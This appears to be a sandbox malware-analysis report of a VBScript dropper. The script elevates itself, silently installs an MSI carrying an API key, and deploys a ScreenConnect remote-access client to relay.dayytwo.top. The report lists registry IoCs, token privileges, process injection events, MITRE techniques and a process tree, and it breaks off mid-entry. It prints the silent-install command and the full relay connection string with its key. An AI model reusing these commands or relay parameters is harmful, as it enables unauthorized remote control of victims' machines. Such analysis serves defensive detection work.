Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsBackstageShell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "15"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Desktop\WindowMetrics\MinHorzGap = "0"	ScreenConnect.WindowsBackstageShell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@Winlangdb.dll,-1121 = "English (United States)"	LogonUI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Desktop\WindowMetrics\MinVertGap = "0"	ScreenConnect.WindowsBackstageShell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Desktop\WindowMetrics\MinArrange = "8"	ScreenConnect.WindowsBackstageShell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Desktop\WindowMetrics\MinWidth = "0"	ScreenConnect.WindowsBackstageShell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsBackstageShell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsBackstageShell.exe

Modifies registry class 39 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3f90ea06fd2dc28c\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-C49B-913A84A08CE7}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\PackageCode = "E81551DCA846A1F7FAF7397ED0C72ADC"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\9C90E9F9A018D370F309AE60DFD22CC8	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3f90ea06fd2dc28c\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-3f90ea06fd2dc28c\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E81551DCA846A1F7FAF7397ED0C72ADC	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E81551DCA846A1F7FAF7397ED0C72ADC\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\ProductIcon = "C:\\Windows\\Installer\\{CD15518E-648A-7F1A-AF7F-93E70D7CA2CD}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\9C90E9F9A018D370F309AE60DFD22CC8\E81551DCA846A1F7FAF7397ED0C72ADC	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\SourceList\PackageName = "level.msi"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\Clients = 3a0000000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\Version = "419692564"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-C49B-913A84A08CE7}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3f90ea06fd2dc28c\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3f90ea06fd2dc28c\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3f90ea06fd2dc28c\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3f90ea06fd2dc28c\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (3f90ea06fd2dc28c)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-C49B-913A84A08CE7}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (3f90ea06fd2dc28c)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-3f90ea06fd2dc28c	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3f90ea06fd2dc28c	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-C49B-913A84A08CE7}	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000_Classes\Local Settings	firefox.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-C49B-913A84A08CE7}\ = "ScreenConnect Client (3f90ea06fd2dc28c) Credential Provider"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\ProductName = "ScreenConnect Client (3f90ea06fd2dc28c)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E81551DCA846A1F7FAF7397ED0C72ADC\InstanceType = "0"	msiexec.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.msi:Zone.Identifier	firefox.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
376	Notepad.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	58	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
4732	msiexec.exe
4732	msiexec.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
4732	msiexec.exe
4732	msiexec.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1704	ScreenConnect.WindowsClient.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2900	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2900	msiexec.exe
Token: SeSecurityPrivilege	4732	msiexec.exe
Token: SeCreateTokenPrivilege	2900	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2900	msiexec.exe
Token: SeLockMemoryPrivilege	2900	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2900	msiexec.exe
Token: SeMachineAccountPrivilege	2900	msiexec.exe
Token: SeTcbPrivilege	2900	msiexec.exe
Token: SeSecurityPrivilege	2900	msiexec.exe
Token: SeTakeOwnershipPrivilege	2900	msiexec.exe
Token: SeLoadDriverPrivilege	2900	msiexec.exe
Token: SeSystemProfilePrivilege	2900	msiexec.exe
Token: SeSystemtimePrivilege	2900	msiexec.exe
Token: SeProfSingleProcessPrivilege	2900	msiexec.exe
Token: SeIncBasePriorityPrivilege	2900	msiexec.exe
Token: SeCreatePagefilePrivilege	2900	msiexec.exe
Token: SeCreatePermanentPrivilege	2900	msiexec.exe
Token: SeBackupPrivilege	2900	msiexec.exe
Token: SeRestorePrivilege	2900	msiexec.exe
Token: SeShutdownPrivilege	2900	msiexec.exe
Token: SeDebugPrivilege	2900	msiexec.exe
Token: SeAuditPrivilege	2900	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2900	msiexec.exe
Token: SeChangeNotifyPrivilege	2900	msiexec.exe
Token: SeRemoteShutdownPrivilege	2900	msiexec.exe
Token: SeUndockPrivilege	2900	msiexec.exe
Token: SeSyncAgentPrivilege	2900	msiexec.exe
Token: SeEnableDelegationPrivilege	2900	msiexec.exe
Token: SeManageVolumePrivilege	2900	msiexec.exe
Token: SeImpersonatePrivilege	2900	msiexec.exe
Token: SeCreateGlobalPrivilege	2900	msiexec.exe
Token: SeRestorePrivilege	4732	msiexec.exe
Token: SeTakeOwnershipPrivilege	4732	msiexec.exe
Token: SeRestorePrivilege	4732	msiexec.exe
Token: SeTakeOwnershipPrivilege	4732	msiexec.exe
Token: SeRestorePrivilege	4732	msiexec.exe
Token: SeTakeOwnershipPrivilege	4732	msiexec.exe
Token: SeRestorePrivilege	4732	msiexec.exe
Token: SeTakeOwnershipPrivilege	4732	msiexec.exe
Token: SeRestorePrivilege	4732	msiexec.exe
Token: SeTakeOwnershipPrivilege	4732	msiexec.exe
Token: SeShutdownPrivilege	2492	MsiExec.exe
Token: SeRestorePrivilege	4732	msiexec.exe
Token: SeTakeOwnershipPrivilege	4732	msiexec.exe
Token: SeRestorePrivilege	4732	msiexec.exe
Token: SeTakeOwnershipPrivilege	4732	msiexec.exe
Token: SeRestorePrivilege	4732	msiexec.exe
Token: SeTakeOwnershipPrivilege	4732	msiexec.exe
Token: SeRestorePrivilege	4732	msiexec.exe
Token: SeTakeOwnershipPrivilege	4732	msiexec.exe
Token: SeRestorePrivilege	4732	msiexec.exe
Token: SeTakeOwnershipPrivilege	4732	msiexec.exe
Token: SeRestorePrivilege	4732	msiexec.exe
Token: SeTakeOwnershipPrivilege	4732	msiexec.exe
Token: SeRestorePrivilege	4732	msiexec.exe
Token: SeTakeOwnershipPrivilege	4732	msiexec.exe
Token: SeRestorePrivilege	4732	msiexec.exe
Token: SeTakeOwnershipPrivilege	4732	msiexec.exe
Token: SeRestorePrivilege	4732	msiexec.exe
Token: SeTakeOwnershipPrivilege	4732	msiexec.exe
Token: SeRestorePrivilege	4732	msiexec.exe
Token: SeTakeOwnershipPrivilege	4732	msiexec.exe
Token: SeRestorePrivilege	4732	msiexec.exe

Suspicious use of FindShellTrayWindow 12 IoCs

pid	Process
376	Notepad.exe
1084	firefox.exe
1084	firefox.exe
1084	firefox.exe
1084	firefox.exe
1084	firefox.exe
1084	firefox.exe
1084	firefox.exe
1084	firefox.exe
1084	firefox.exe
416	ScreenConnect.WindowsClient.exe
416	ScreenConnect.WindowsClient.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
1084	firefox.exe
1084	firefox.exe
1084	firefox.exe
1084	firefox.exe
1084	firefox.exe
1084	firefox.exe
1084	firefox.exe
5868	ScreenConnect.WindowsBackstageShell.exe
2220	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5256 wrote to memory of 1752	5256	WScript.exe	83
PID 1752 wrote to memory of 2900	1752	wscript.exe	85
PID 4732 wrote to memory of 5500	4732	msiexec.exe	88
PID 5500 wrote to memory of 2224	5500	MsiExec.exe	89
PID 4732 wrote to memory of 2492	4732	msiexec.exe	90
PID 5884 wrote to memory of 4028	5884	ScreenConnect.ClientService.exe	95
PID 5884 wrote to memory of 2388	5884	ScreenConnect.ClientService.exe	96
PID 4688 wrote to memory of 2204	4688	WScript.exe	109
PID 2204 wrote to memory of 1472	2204	wscript.exe	110
PID 4732 wrote to memory of 1916	4732	msiexec.exe	111
PID 1916 wrote to memory of 1232	1916	MsiExec.exe	112
PID 5884 wrote to memory of 2572	5884	ScreenConnect.ClientService.exe	113
PID 4044 wrote to memory of 1084	4044	firefox.exe	116
PID 4044 wrote to memory of 1084	4044	firefox.exe	116
PID 1084 wrote to memory of 884	1084	firefox.exe	117
PID 1084 wrote to memory of 884	1084	firefox.exe	117
PID 1084 wrote to memory of 884	1084	firefox.exe	117
PID 1084 wrote to memory of 3084	1084	firefox.exe	118
PID 1084 wrote to memory of 3084	1084	firefox.exe	118
PID 1084 wrote to memory of 3084	1084	firefox.exe	118
PID 1084 wrote to memory of 3084	1084	firefox.exe	118
PID 1084 wrote to memory of 6092	1084	firefox.exe	119
PID 1084 wrote to memory of 6092	1084	firefox.exe	119
PID 1084 wrote to memory of 6092	1084	firefox.exe	119
PID 1084 wrote to memory of 6092	1084	firefox.exe	119
PID 1084 wrote to memory of 4148	1084	firefox.exe	120
PID 1084 wrote to memory of 4148	1084	firefox.exe	120
PID 1084 wrote to memory of 4148	1084	firefox.exe	120
PID 1084 wrote to memory of 2260	1084	firefox.exe	121
PID 1084 wrote to memory of 2260	1084	firefox.exe	121
PID 1084 wrote to memory of 2260	1084	firefox.exe	121
PID 1084 wrote to memory of 2260	1084	firefox.exe	121
PID 1084 wrote to memory of 3896	1084	firefox.exe	122
PID 1084 wrote to memory of 3896	1084	firefox.exe	122
PID 1084 wrote to memory of 3896	1084	firefox.exe	122
PID 1084 wrote to memory of 3896	1084	firefox.exe	122
PID 1084 wrote to memory of 4956	1084	firefox.exe	123
PID 1084 wrote to memory of 4956	1084	firefox.exe	123
PID 1084 wrote to memory of 4956	1084	firefox.exe	123
PID 1084 wrote to memory of 4956	1084	firefox.exe	123
PID 1084 wrote to memory of 2300	1084	firefox.exe	124
PID 1084 wrote to memory of 2300	1084	firefox.exe	124
PID 1084 wrote to memory of 2300	1084	firefox.exe	124
PID 1084 wrote to memory of 2300	1084	firefox.exe	124
PID 1084 wrote to memory of 4580	1084	firefox.exe	125
PID 1084 wrote to memory of 4580	1084	firefox.exe	125
PID 1084 wrote to memory of 4580	1084	firefox.exe	125
PID 1084 wrote to memory of 4580	1084	firefox.exe	125
PID 1084 wrote to memory of 1172	1084	firefox.exe	127
PID 1084 wrote to memory of 1172	1084	firefox.exe	127
PID 1084 wrote to memory of 1172	1084	firefox.exe	127
PID 1084 wrote to memory of 1172	1084	firefox.exe	127
PID 5884 wrote to memory of 3136	5884	ScreenConnect.ClientService.exe	128
PID 5884 wrote to memory of 5868	5884	ScreenConnect.ClientService.exe	129
PID 5884 wrote to memory of 4800	5884	ScreenConnect.ClientService.exe	130
PID 5868 wrote to memory of 2032	5868	ScreenConnect.WindowsBackstageShell.exe	132
PID 5884 wrote to memory of 416	5884	ScreenConnect.ClientService.exe	134
PID 5884 wrote to memory of 1704	5884	ScreenConnect.ClientService.exe	135
PID 1084 wrote to memory of 5996	1084	firefox.exe	137
PID 1084 wrote to memory of 5996	1084	firefox.exe	137
PID 1084 wrote to memory of 5996	1084	firefox.exe	137
PID 1084 wrote to memory of 5996	1084	firefox.exe	137
PID 1084 wrote to memory of 1392	1084	firefox.exe	138
PID 1084 wrote to memory of 1392	1084	firefox.exe	138

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\SoftwareSASGeneration = "3"	ScreenConnect.ClientService.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\confirmation.vbs"
1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:5256
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\confirmation.vbs" /elevated
  2⤵
  - Badlisted process makes network request
  - Checks computer location settings
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:1752
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\level.msi" LEVEL_API_KEY=64fhD3D52c1tFPhawv7cze1M /qn
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2900

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4732
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 1BAA5EAEFAB07DC2DFE0EFD261037B58
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5500
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI460D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240666312 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2224
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A2D46E15D04945C25EA92BA9F7D737AC E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:2492
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding B7A9D4B2F1B8123E7D1A41E0EEEFE5ED
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1916
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSIBB8B.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240958484 21 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:1232

C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.dayytwo.top&p=8041&s=65ea3209-3d04-465e-bc18-6cfef8b0508e&k=BgIAAACkAABSU0ExAAgAAAEAAQABS2jvowMmP33uHLqKHMQEsGkjBc25fYz27YReNk3F5sHLdvqhHBDHjFLBtKvl4eWFgXzoMyvqooLTvWKkfHgr3TmC6%2fvLVCjRY1Tvi9PAEyKQNNmRh8ErBKPHGiAW1ePWicefoB2VcrvxL5vZSJGAirLtEtDuK2YchMHaLWuF9Sy3KhCv%2ffFQm7kcp7ijpzMoOgsDokDadAf0AEQ8d%2b1nhMJ0Fn7OXmVEAncwG82JF%2fK6O3pxryodnd5P%2buGgqU3eRmdXoxe0Nc9CfuzS8Zig%2bpv5Dzsobc3taQYcZAXxHBZAowHlnT8SoBk%2fHGQ3PiXkBY8zLXtmO805Ck38bjmk"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:5884
- C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe" "RunRole" "8fe4bccf-19d1-4f56-954a-21f33fef8d00" "User"
  2⤵
  - Executes dropped EXE
  PID:4028
- C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe" "RunRole" "8a35054e-8258-4f32-b367-afc1a50dbe71" "System"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:2388
- C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe" "RunRole" "1941aa98-f7fb-4550-984c-a69e76484a90" "System"
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  PID:2572
- C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe" "RunRole" "a0cd46ca-a3c4-4809-b7e4-fd3f92fba2bc" "System"
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  PID:3136
- C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsBackstageShell.exe
  "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsBackstageShell.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5868
- - C:\Windows\system32\CMD.exe
    "C:\Windows\system32\CMD.exe"
    3⤵
    PID:2032
- C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe" "RunRole" "4457a6e9-c612-4642-8db3-3d010deaa559" "User"
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  PID:4800
- C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
